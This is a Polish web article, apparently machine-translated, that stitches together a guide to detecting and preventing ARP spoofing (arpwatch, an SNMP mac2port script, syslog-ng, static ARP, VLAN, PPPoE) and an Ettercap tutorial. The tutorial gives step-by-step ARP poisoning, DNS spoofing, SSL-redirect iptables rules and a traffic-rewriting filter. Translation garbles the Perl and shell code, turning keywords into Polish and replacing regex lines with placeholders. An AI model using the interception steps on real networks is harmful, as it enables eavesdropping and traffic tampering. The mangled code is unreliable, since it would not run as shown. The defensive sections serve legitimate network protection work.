Prawdopodobnie oznacza to, że host, na którym działa arpwatch, jest fałszowany przez ARP w celu przechwycenia ruchu wymienianego z hostem 192.168.15.254.

Wykrywanie hosta fałszującego ARP

Jeśli przełącznik jest zarządzany, możesz określić, na którym z jego portów działa węzeł mający określony adres MAC.

Można to zrobić na przykład za pomocą skryptu mac2port. Skrypt kontaktuje się z przełącznikiem poprzez protokół SNMP i wysyła do niego zapytanie do tabeli mapowań adresów MAC na porty. Otrzymane informacje są przesyłane w łatwej do przeszukiwania formie do standardowego strumienia wyjściowego. Aby ułatwić obsługę, skrypt wyświetla adresy MAC w tym samym formacie, co arpwatch.

Warunki korzystania ze skryptu:

  • skrypt musi zostać umieszczony w katalogu /usr/local/bin lub innym katalogu określonym w PATH;
  • skrypt musi być wykonywalny (chown +x mac2port) lub wywoływany za pomocą interpretera Perla;
  • treść skryptu musi wskazywać adres IP przełącznika i jego społeczność SNMP RO;
  • przełącznik musi obsługiwać SNMP w wersji 2; obsługa musi być włączona (nie jest trudno przepisać skrypt na bezpieczniejszy protokół SNMPv3, ale ta wersja działa specjalnie z SNMPv2).

Przykład użycia skryptu:
%#./mac2port
0:4:76:a1:ef:bb -> 1
0:a:1:d4:d1:e3 -> 2
0:15:60:79:8e:c0 -> 0
0:4:75:75:46:b1 -> 3
0:a:1:d4:d1:39 -> 44

Jeśli wcześniej wykryto atak za pomocą arpwatch:

%# kot /var/log/daemon.log | grep „zmienił adres Ethernet”
21 czerwca 08:37:09 s_all@linux2/192.168.15.201 arpwatch: zmieniony adres Ethernet 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

możesz skorzystać ze skryptu i ustalić, z jakiego portu przełącznika został wykonany (nie ma znaczenia, czy jest to prawdziwy adres MAC karty sieciowej atakującego, czy został zmieniony):

%# mac=$(cat /var/log/daemon.log | grep „zmieniony adres Ethernet” | awk „(wydrukuj 10 $)”)
%# ./mac2port | grep $mac
0:a:1:d4:d1:e3 -> 2

Ważne jest, aby ustalenia dokonać szybko, a informacja o atakującym nadal będzie przechowywana w pamięci przełącznika.

W tym celu warto automatycznie wywołać skrypt wyszukiwania po wykryciu odpowiedniego wpisu w dzienniku systemowym. Analizę logów można przeprowadzić np. za pomocą narzędzi takich jak próbka Lub syslog-ng.

Na przykład, jeśli używasz syslog-ng. Możesz stworzyć skrypt, który wykona analizę:
/usr/local/bin/syslog-ng-arpwatch

#!/bin/sh
ŚCIEŻKA=$ŚCIEŻKA:/usr/local/bin
podczas czytania linii
Do
mac="$(echo $line | grep "zmieniony adres Ethernet" | awk "(wydrukuj 10 $)")"
[ -z "$mac"] && kontynuuj
(echo MOŻLIWE PODSŁAWANIE ARP Z:; mac2port | grep "$mac")| logger -t fałszowanie arp
zrobione

i podłącz go do syslog-ng.
Aby to zrobić, musisz podać następujące wiersze w pliku konfiguracyjnym syslog-ng.conf:

miejsce docelowe dp_arpspoofing (
program("/usr/local/bin/syslog-ng-arpwatch");
};
filtr f_arpspoofing (
mecz("arpwatch");
};
dziennik(
źródło(s_all);
filter(f_arpspoofing);
miejsce docelowe(dp_arpspoofing);
};

Smyczkowy
filter(f_arpspoofing);

Być może nie trzeba tego określać, ale w obciążonych systemach znacznie zmniejsza to obciążenie. W tym przypadku podczas wykonywania arp-spoofingu dzieje się co następuje:

  1. Demon arpwatch wysyła informacje do syslog (poprzez standardowe gniazdo /dev/log lub /var/run/log);
  2. Jeśli Syslog-NG jest używany jako serwer syslog, wykrywa sygnaturę wiadomości i przekazuje wykrytą linię do skryptu syslog-ng-arpwatch;
  3. Scenariusz syslog-ng-arpwatch, jeśli stwierdzi, że problem jest w rzeczywistości związany z fałszowaniem protokołu ARP, wywołuje skrypt wyszukiwania portów według adresu MAC;
  4. Scenariusz mac2port uzyskuje dostęp do przełącznika poprzez SNMP;
  5. Przełącznik odpowiada - przesyła tabele zawierające informacje o zgodności adresów MAC z portami do skryptu, który go wywołał;
  6. Scenariusz mac2port zwraca tabelę adresów MAC odpowiadających portom przełącznika do skryptu syslog-ng-arpwatch;
  7. Scenariusz syslog-ng-arpwatch znajduje interesujący port i zapisuje wiadomość do syslog;
  8. Demon syslog-ng zapisze do pliku wiadomość z informacją o porcie przełącznika, może też przesłać ją SMS-em lub pocztą do administratora lub wywołać zewnętrzny program (który np. dodatkowe kontrole może blokować port przełącznika);
  9. Administrator czyta o wykrytym ataku w pliku.

Tak to wygląda w pliku:
21 czerwca 13:55:23 s_all@linux3 arp-spoofing: MOŻLIWE ARP-SPOOFING Z:
21 czerwca 13:55:23 s_all@linux3 fałszowanie arp: 0:a:1:d4:d1:e3 -> 2

tekst skryptu mac2port

#!/usr/bin/perl
nasza $społeczność = "publiczna";
nasz przełącznik $ = "192.168.15.100";
open(SNMP,"snmpwalk -On -OQ -v2c -c $przełącznik $społeczności .1.3.6.1.2.1.17.4.3.1.1|")
lub umrzyj „Nie można uruchomić snmpwalk”;
chwila()
{
gryźć;
[e-mail chroniony]@@;
my ($oid, $mac) = split /=\s*/;
$_=$mac;
s@"@@g; s@\s*$@@; s@ @:@g; s@(.)@\l\1@g; s@^0@@; s@:0@:@ G;
$mac_table($_)=$oid;
}
zamknij(SNMP);
open(SNMP,"snmpwalk -On -OQ -v2c -c $przełącznik $społeczności .1.3.6.1.2.1.17.4.3.1.2|")
lub umrzyj „Nie można uruchomić snmpwalk”;
chwila()
{
gryźć;
[e-mail chroniony]@@;
my ($oid, $port) = split /=/;
$ports_table($oid)=$port;
}
zamknij(SNMP);
dla $oid (klucze %mac_table) (
print "$oid -> ".$ports_table($mac_table($oid))."\n";
}

Metody zapobiegania

Walka z fałszowaniem ARP za pomocą arpwatch i podobne narzędzia, choć bardzo proste, są dalekie od skuteczności.

  • Po pierwsze, aby wykryć atak, na chronionych węzłach musi działać program arpwatch (lub podobny). Jeśli działa tylko na jednym z dwóch węzłów sfałszowanych przez ARP, istnieje możliwość niewykrytego jednostronnego ataku.
  • Po drugie, i co ważniejsze, arpwatch Pozwala jedynie wykryć atak, ale nie jest w stanie mu zapobiec.

Aby zapobiec skutkom ataku, wymagana jest interwencja administratora lub systemu zewnętrznego. W pierwszym przypadku pomiędzy wykryciem a odpowiedzią administratora może upłynąć zbyt dużo czasu. W drugim nie jest wymagana żadna interwencja, reakcja następuje automatycznie: po wykryciu anomalii ARP ustalany jest port przełącznika, do którego podłączone jest źródło anomalii, a port jest blokowany do czasu wyjaśnienia. Jednak takie podejście ma dużą wadę - można go zastosować do wykonania Ataki DOS-owe: wystarczy znaleźć adres MAC komputera, który należy odłączyć od sieci, i zasymulować atak z tego komputera. Wtedy nasz system wykrywania i zapobiegania fałszowaniu ARP zrobi wszystko sam.

Rozważane metody przeciwdziałania atakom ARP opierają się na dwóch zupełnie różnych zasadach, z których każda ma zarówno zalety, jak i wady.

Obie metody oprócz tego, że niezawodnie chronią przed ARP spoofingiem, mają także tę zaletę, że pozwalają na całkowitą kontrolę ruchu - nie tylko tego, który przechodzi przez bramę, ale także tego, który krąży pomiędzy maszynami (w przypadku korzystając z PPPoE, maszyny mogą za obopólną zgodą wymieniać dane bezpośrednio między sobą. W przypadku korzystania z VLAN są całkowicie pozbawione tej możliwości.)

Jednostronny atak
Jeśli chcesz przechwycić ruch przechodzący z węzła w sieci do sieci zewnętrznej, musisz zaatakować węzeł i bramę sieciową. Jednak prawdopodobieństwo wykrycia fałszowania protokołu ARP jest znacznie większe na bramie niż na hoście. Ponieważ interesuje nas ruch generowany przez węzeł wysyła do sieci wystarczy zmodyfikować tablicę ARP tylko węzła i nie ryzykować wykrycia przez bramkę. Dane wysyłane przez bramę do węzła będą przesyłane bezpośrednio, a dane wysyłane przez węzeł do bramy będą przechodzić przez system atakującego. (zarówno na bramie, jak i na węźle można by śledzić, czy adresy MAC pakietów przychodzących z węzła różnią się od tych zapisanych w jego tablicy ARP, tzn. czy pakiety są wysyłane na jeden adres MAC, ale przychodzą z innego. Ale jakie systemy to robią?)

Statyczny ARP

Ze słabościami protokołu ARP można radykalnie sobie poradzić - po prostu go nie używać. Tablicę ARP można utworzyć ręcznie i staje się ona niewrażliwa na ataki ARP. Aby to zrobić, musisz dodać do tabeli niezbędne adresy MAC.

Jeśli wyłączysz korzystanie z ARP na interfejsach sieciowych, wówczas dostępne będą tylko te systemy, (1) których adresy MAC zostaną dodane do tablicy ARP naszego węzła oraz (2) nasz adres MAC zostanie dodany do tablic ARP węzłów z na której giełdzie odbywa się ruch.

Jeśli nie wyłączysz korzystania z protokołu ARP w interfejsach sieciowych, pierwszeństwo będzie miał statycznie określony adres MAC. Jeśli dla adresu IP nie określono adresu MAC, używane jest żądanie ARP.

Statyczną tablicę ARP można uzyskać w oparciu o istniejącą tablicę ARP routera:

%# arp -an | grep -v przychód | awk "(drukuj 2 $" "4 $)" | tr -d "()"

Jeśli napiszesz to tak:

%# arp -an | grep -v przychód | awk "(drukuj 2 $" "4 $)" | tr -d "()" > /etc/ethers

zostanie zapisany w pliku /etc/ethers

Konieczne jest, aby tabela zawierała maksymalną liczbę komputerów sieciowych. Musisz albo zbudować tabelę w czasie szczytowej aktywności sieci, albo najpierw przejrzeć cały zakres adresów za pomocą pingów:

dla i w „sekwencji 1 255”.
Do
ping -c 1 192.168.15.$i >& /dev/null &
zrobione

(tutaj 192.168.15.0/24 to sieć, dla której przeprowadzane jest skanowanie). Po utworzeniu pliku /etc/ethers można go załadować za pomocą polecenia:

%# ifconfig eth1 -arp

Zalety i wady

Metoda ręcznego generowania tabel ARP ma następujące wady:

  • dodano dużo rutynowej pracy związanej z dodawaniem i modyfikowaniem adresów MAC. Każda zmiana w sieci wiąże się z wymianą lub przebudową karty sieciowe, należy dołączyć edycję tabel ARP w plikach.
  • węzły klienckie pozostają podatne na fałszowanie protokołu ARP.

Poprawki jądra systemu

Istnieje łatka (sugerowana przez buggzy) dla jąder Linux/FreeBSD, która minimalizuje ryzyko udanego ataku polegającego na fałszowaniu ARP na łatane systemy.

Istota tej metody jest następująca. Po otrzymaniu odpowiedzi ARP porównywany jest stary i nowy adres MAC, a w przypadku wykrycia zmiany uruchamiana jest procedura weryfikacji. Wysyłane jest żądanie ARP wymagające od wszystkich właścicieli adresu IP podania swoich adresów MAC.

Jeżeli zostanie przeprowadzony atak, rzeczywisty system posiadający ten adres IP odpowie na żądanie, a tym samym atak zostanie rozpoznany. Jeżeli zmiana adresu MAC nie była związana z atakiem, ale ze standardowymi sytuacjami, nie będzie odpowiedzi zawierającej „stary” adres MAC, a po upływie określonego czasu system zaktualizuje wpis w pamięci podręcznej.

W przypadku wykrycia podejrzanej sytuacji („double”) jądro wyświetla komunikat: „ARP_ANTIDOTE: możliwa próba MITM!” i nie aktualizuje wpisu pamięci podręcznej ARP, lecz wręcz przeciwnie, zapisuje stary post jako statyczny. Po zidentyfikowaniu i zneutralizowaniu źródła ataku statyczny wpis można usunąć.

Patche implementujące tę metodę walki:

* arp_antidote dla Linuksa
* arp_antidote 2 dla Linuksa
* Łatka Arp Poison dla FreeBSD

Poprawki działają tylko z jądrem serii 2.4.

Inne metody zwalczania fałszowania ARP

Niestety ta metoda nie ma zastosowania w systemach Windows i innych systemach z systemem operacyjnym, kod źródłowy który nie jest dostępny.

Problem należy rozwiązać radykalnie: sieć należy zbudować w taki sposób, aby fałszowanie protokołu ARP było w zasadzie niemożliwe. A jeśli to możliwe, to bezużyteczne.

Można to zrobić na dwa sposoby:

1. Ogranicz domenę rozgłoszeniową dla każdego węzła do poziomu dwóch węzłów: samego węzła i najbliższej bramy. więcej szczegółów. Dlaczego w tym przypadku nie można przeprowadzić ataku. Wtedy po prostu nie ma nikogo, kto mógłby przeprowadzić atak – potrzebny jest trzeci. Ale go tam nie ma.
2. Upewnij się, że wszystko, absolutnie wszystko, przesyłane w sieci, jest szyfrowane i podsłuchiwanie tych danych nic nie da. Każda zmiana danych, jeśli wystąpi, jest natychmiast wykrywana. Oznacza to, że sieć powinna być taka sama i bezpieczna, gdy jest używana zamiast przełącznika koncentrującego.

Pierwsza metoda odbywa się za pomocą sieci VLAN. Drugie to pomoc PPPoE.

Korzystanie z sieci VLAN

Komputer C może używać fałszowania ARP przeciwko komputerowi A tylko wtedy, gdy znajdują się w tej samej sieci warstwy łącza. W przypadku, gdy rozdzieli je router, atak jest niemożliwy (atak na router jest możliwy, ale to już zupełnie inna sprawa).

Sieci VLAN pomagają segmentować sieć – zamieniają jedną sieć na wiele fragmentów izolowanych na poziomie łącza, które są połączone routerem. Atak polegający na fałszowaniu protokołu ARP jest możliwy tylko między komputerami znajdującymi się w tej samej sieci VLAN. W najbardziej ekstremalnym przypadku, gdy w każdej sieci VLAN znajdują się tylko dwa komputery: sam komputer i router, atak polegający na fałszowaniu protokołu ARP staje się w zasadzie niemożliwy. Niestety taka sieć bardzo obciąża zasoby routera i jest rzadko używana.

Zalety
  1. Od klienta nie wymaga się niczego. Działa tak jak zawsze. Jeśli adres IP jest ustawiony statycznie, należy zmienić adres IP i maskę sieci.
  2. Dane nie są szyfrowane i nie ma utraty wydajności. Małe straty spowodowane dodatkowymi polami w nagłówku.
  3. Nie da się zorganizować wymiany danych z pominięciem bramy pomiędzy węzłami w różnych sieciach VLAN. Jeśli każdy węzeł znajduje się w swojej własnej sieci VLAN, taka wymiana jest w ogóle niemożliwa.
Wady
  1. Przełącznik musi obsługiwać sieci VLAN.
  2. Konieczne jest poświęcenie czasu na konfigurację sieci VLAN, dodatkowe ustawienia Serwery DHCP.
  3. Dane nie są szyfrowane. Jeśli odsłuchanie ich w jakiś sposób się powiedzie, można je odczytać i/lub zmodyfikować.

Korzystanie z PPPoE

Zalety
  1. Dane są szyfrowane
  2. Nie ma żadnych wymagań sprzętowych. Nie jest nawet konieczne, aby sieć była modemowana
Wady
  1. Klient wymaga konfiguracji dostępu PPPoE. Niektóre systemy wymagają instalacji specjalnego oprogramowania klienckiego.
  2. Z powodu strat w enkapsulacji wydajność sieci spada. Jeśli zostanie przeprowadzone szyfrowanie danych, tymczasowe straty wzrosną.
  3. Za obopólną zgodą stron istnieje możliwość zorganizowania wymiany danych pomiędzy węzłami z pominięciem bramki.
  4. Przy dużej liczbie połączeń PPPoE (>200) wzrasta obciążenie centralnego procesora serwera. Czasami trzeba poświęcić szyfrowanie danych.
  5. Jeśli serwer jest bardzo obciążony, łatwiej jest użyć protokołu PPTPd lub IPsec

Mity i nieporozumienia dotyczące fałszowania protokołu ARP

Podrabianiu protokołu ARP można zapobiec, korzystając z funkcji zabezpieczeń portów przełączników

Funkcja zabezpieczenia portu przełącznika pozwala zabezpieczyć się przed zmianą adresu MAC na porcie przełącznika. Jeśli komputer podłączony do portu przełącznika zmieni swój adres MAC lub jeśli komputer się zmieni, przełącznik odnotuje podstawienie i przestanie przesyłać pakiety wysłane z nowym adresem zwrotnym. Ponadto można wykonać inne działania: wysłanie pułapki SNMP, zapis do syslog i tym podobne.

W przypadku fałszowania protokołu ARP adres MAC nadawcy (atakującego) nie ulega zmianie, dlatego z punktu widzenia bezpieczeństwa portu nie występują żadne anomalie. Funkcja bezpieczeństwa portów nie jest w żaden sposób odpowiedzialna za dopasowywanie adresów IP i adresów MAC i na tym opiera się atak ARP-spoofing.

Ettercap to narzędzie do analizy ruchu sieciowego przechodzącego przez interfejs komputera, ale z dodatkową funkcjonalnością. Program umożliwia przeprowadzanie ataków typu man-in-the-middle, aby zmusić inny komputer do przesyłania pakietów do Ciebie, a nie do routera.

Dzięki Ettercap możesz sprawdzić bezpieczeństwo swojej sieci, na ile jest ona podatna na tego typu ataki, a także analizować ruch z wielu komputerów, a nawet modyfikować go na bieżąco. W tym artykule przyjrzymy się, jak używać Ettercap do analizowania i modyfikowania ruchu.

Na czym polega atak Man in the Middle?

Domyślnie komputer wysyła wszystko pakiety sieciowe, które należy wysłać do Internetu, są przekazywane do routera, który z kolei przesyła je do następnego routera, aż pakiet dotrze do miejsca docelowego. Jednak z pewnych powodów pakiet może nie zostać przesłany do routera, ale bezpośrednio do komputera, a dopiero potem do routera.

Komputer, przez który pakiety będą przechodzić, może analizować adres źródłowy, adres docelowy, a jeśli nie są zaszyfrowane, to także ich pełną zawartość.

Istnieją dwa sposoby wykonania MITM (Man In Middle Attack):

  • Atak ARP- korzystając z funkcji protokołu ARP, Twój komputer informuje innych, że jest routerem, po czym wszystkie pakiety zaczynają być do niego wysyłane;
  • Atak DNS- gdy komputer próbuje uzyskać adres IP dla domeny, zastępujemy ten adres własnym, jednak aby ten typ zadziałał, należy skorzystać z metody ARP.

Program Ettercap Linux może przeprowadzać oba typy ataków. Ponadto narzędzie może przeprowadzać ataki typu „odmowa usługi” i skanować porty. Przyjrzyjmy się teraz, jak zainstalować i używać Ettercap.

Instalowanie Ettercapa

Jest to dość popularny program wśród specjalistów bezpieczeństwo sieci, więc jest dostępny w oficjalnych repozytoriach większości dystrybucji. Na przykład, aby zainstalować Ettercap na Ubuntu, uruchom:

$ Sudo apt zainstaluj ettercap-gtk

W Fedorze lub innych opartych na niej dystrybucjach polecenie będzie wyglądać podobnie:

$ sudo mniam, zainstaluj ettercap-gtk

Zakończyliśmy zadanie instalacji Ettercap Linux, jednak przed jego użyciem musimy zmienić kilka ustawień w pliku konfiguracyjnym.

$ sudo vi /etc/ettercap/etter.conf

Linie ec_uid i ec_gid muszą mieć wartość 0, aby usługa programu działała jako superużytkownik:


ec_uid = 0 # nikt nie jest wartością domyślną
ec_gid = 0 # nikt nie jest ustawieniem domyślnym

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j PRZEKIEROWANIE --do-portu %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j PRZEKIEROWANIE --do-portu %rport"

Służą one do przekierowywania połączeń SSL na zwykły HTTP, jeśli to możliwe. Następnie zapisz zmiany i program jest gotowy do użycia.

Korzystanie z interfejsu graficznego Ettercap

Program może pracować w kilku trybach – z interfejsem graficznym, bez oraz jako usługa. Rozważymy pracę w interfejs graficzny. Aby uruchomić program z interfejsem GTK, użyj opcji -G:

$ sudo -E ettercap -G

Atak zatruciem ARP w Ettercap

Jak już powiedziałem, za pomocą tego ataku możemy zmusić komputer docelowy do wysyłania pakietów nie do routera, ale do nas. Wszystko działa po prostu. Komputer zna adres IP routera; otrzymał go podczas łączenia się z siecią. Ale za każdym razem, gdy musi wysłać pakiet, musi przetłumaczyć ten uniwersalny adres IP na używany adres niskiego poziomu technologia sieciowa na przykład w przypadku Internetu przewodowego jest to adres MAC.

Służy do tego protokół ARP. Komputer wysyła żądanie do wszystkich urządzeń w sieci, na przykład „kto to 192.168.1.1”, a router widząc jego adres, w odpowiedzi wyśle ​​swój adres MAC. Następnie zostanie zapisany w pamięci podręcznej. Możemy jednak użyć Ettercap, aby poprosić komputer docelowy o aktualizację pamięci podręcznej ARP i nadanie mu naszego adresu MAC zamiast adresu MAC routera. Następnie wszystkie paczki zostaną nam przekazane, a my wyślemy je tam, gdzie zajdzie taka potrzeba.

Przejdźmy do rzeczy i przeprowadźmy atak typu attercap arp spofing. W Ettercap otwórz menu Powąchać i wybierz Ujednolicone wąchanie. Następnie wybierz interfejs sieciowy, na przykład eth0 lub wlan0:

Okno programu ulegnie zmianie i udostępni nam znacznie więcej funkcji. Teraz musisz przeskanować sieć. Aby to zrobić, otwórz menu Zastępy niebieskie i naciśnij Skanuj hosty. Nawet jeśli coś nie działa, możesz załadować listę hostów z pliku:

Aby rozpocząć atak musimy określić cel 1 i cel 2. Jako pierwszy cel musimy podać adres IP maszyny, którą zamierzamy zaatakować, a jako cel 2 adres IP routera. Użyj przycisków, aby dodać cele Dodaj cel 1 I Dodaj cel 2:

W oknie, które zostanie otwarte, zaznacz pole Wąchaj połączenia zdalne aby przechwycić wszystkie połączenia zdalne z tego komputera:

Teraz, aby rozpocząć proces podstawienia w menu Start wybierać Zacznij wąchać.

Następnie program rozpocznie wysyłanie pakietów do sieci z żądaniem adresu 192.168.1.3 w celu aktualizacji pamięci podręcznej ARP i zastąpienia adresu MAC routera Twoim. Atak został rozpoczęty i pomyślnie przeprowadzony. Możesz otworzyć menu Pogląd -> Znajomości i zobacz aktywne połączenia dla urządzenia docelowego:

Jeżeli pakiet nie był zaszyfrowany, to przesyłane informacje możemy obejrzeć klikając myszką na połączenie. Po lewej stronie wyświetlana jest informacja wysłana, po prawej informacja otrzymana:

Atak polegający na fałszowaniu DNS przy użyciu Ettercap

Do konwersji nazw witryn na sieciowe adresy IP używana jest specjalna usługa - DNS. Kiedy komputer potrzebuje adresu IP witryny, prosi o niego Serwery DNS. Jeśli jednak przeprowadzasz już atak MITM, możemy zastąpić odpowiedź serwera, tak aby zamiast adresu IP serwera witryny został zwrócony nasz adres IP. Najpierw musimy edytować plik /etc/ettercap/etter.dns:

$ sudo vi /etc/ettercap/etter.dns

google.com.ua A 127.0.0.1

Wpis ten oznacza, że ​​główny adres IP google.com.ua zastąpimy adresem 127.0.0.1. Należy pamiętać, że ten atak nie zostanie wykonany bez poprzedniego. Następnie otwórz menu Wtyczki -> Zarządzaj wtyczkami:

Następnie kliknij dwukrotnie wtyczkę dns_spoof:

Wtyczka zostanie aktywowana i będziesz mógł sprawdzić adres IP na urządzeniu. DNS rzeczywiście został zmieniony. Na przykład możesz uruchomić na maszynie docelowej:

$ ping google.com.ua

$ping www.ettercap.org

Oprócz tych wtyczek istnieją inne, za pomocą których można wykonać niezbędne działania.

Filtry Ettercap

Filtry umożliwiają modyfikację pakietów przekazywanych przez program na bieżąco. Możesz odrzucić pakiety lub wprowadzić w nich niezbędne zmiany za pomocą funkcji zamiany. Filtry działają również tylko wtedy, gdy trwa atak MITM. Składnia warunków, według których będziemy filtrować pakiety, jest bardzo podobna do Wireshark. Spójrzmy na prosty filtr, który zastąpi wszystkie zdjęcia naszymi:

$ vi test.filter

if (ip.proto == TCP && tcp.dst == 80) (
if (search(DATA.data, „Akceptuj-kodowanie”)) (
zamień("Akceptuj-kodowanie", "Akceptuj-bzdury!");
# uwaga: ciąg zastępczy ma taką samą długość jak ciąg oryginalny
msg("Zapakowano kodowanie akceptacji!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) (
zamień("img src="/, "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
zamień("IMG SRC=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
msg("Filtr uruchomiony.\n");
}

Dla tych, którzy mają doświadczenie w pracy z językami programowania, wszystko powinno być tutaj jasne. Jeśli protokołem jest TCP, a port docelowy to 80, kontynuujemy wyszukiwanie i szukamy Accept-Encoding. Następnie zastępujemy to słowo dowolnym innym, ale o równoważnej długości. Ponieważ jeśli przeglądarka wyśle ​​plik gzip Accept-Encoding, dane zostaną skompresowane i nie będziemy tam niczego filtrować. Następnie w odpowiedzi serwera, port źródłowy 80, zastępujemy wszystkie obrazy naszymi. Teraz należy skompilować filtr:

$ etterfilter test.filter -o test.ef

Pozostaje tylko załadować filtr za pomocą menu Filtry -> Załaduj filtr:

Wybierz plik filtra w systemie plików:

Filtr zostanie załadowany i możesz otworzyć dowolną witrynę, która nie korzysta z protokołu https, aby upewnić się, że wszystko działa. Aby zatrzymać atak MITM, otwórz menu MITM i wybierz Zatrzymaj wszystkie ataki Mitmów. Nasz samouczek Ettercap dobiega końca, ale...

Jak się chronić?

Prawdopodobnie po przeczytaniu artykułu masz uzasadnione pytanie, jak chronić swój komputer przed tego typu atakiem? Istnieje do tego kilka narzędzi, w tym dla systemu operacyjnego Linux:

  • XArp- narzędzie graficzne, które potrafi wykryć próby fałszowania adresów MAC poprzez protokół ARP i im przeciwdziałać. Może pracować w systemach Windows i Linux;
  • Parsknięcie- dość znany system antywłamaniowy, który m.in. wykrywa ataki na protokół ARP;
  • Arpon- niewielka usługa monitorująca tablicę ARP i chroniąca ją przed fałszowaniem adresów MAC.

Używaj programu wyłącznie do testowania bezpieczeństwa swoich sieci lub aplikacji, a także nie zapominaj, że nielegalne działania w przestrzeni informacyjnej również podlegają karze.

Aby dokończyć film prezentujący działanie programu:

musisz się zarejestrować,
aby zostawić komentarz

© 2024 ermake.ru - O naprawie komputerów PC - Portal informacyjny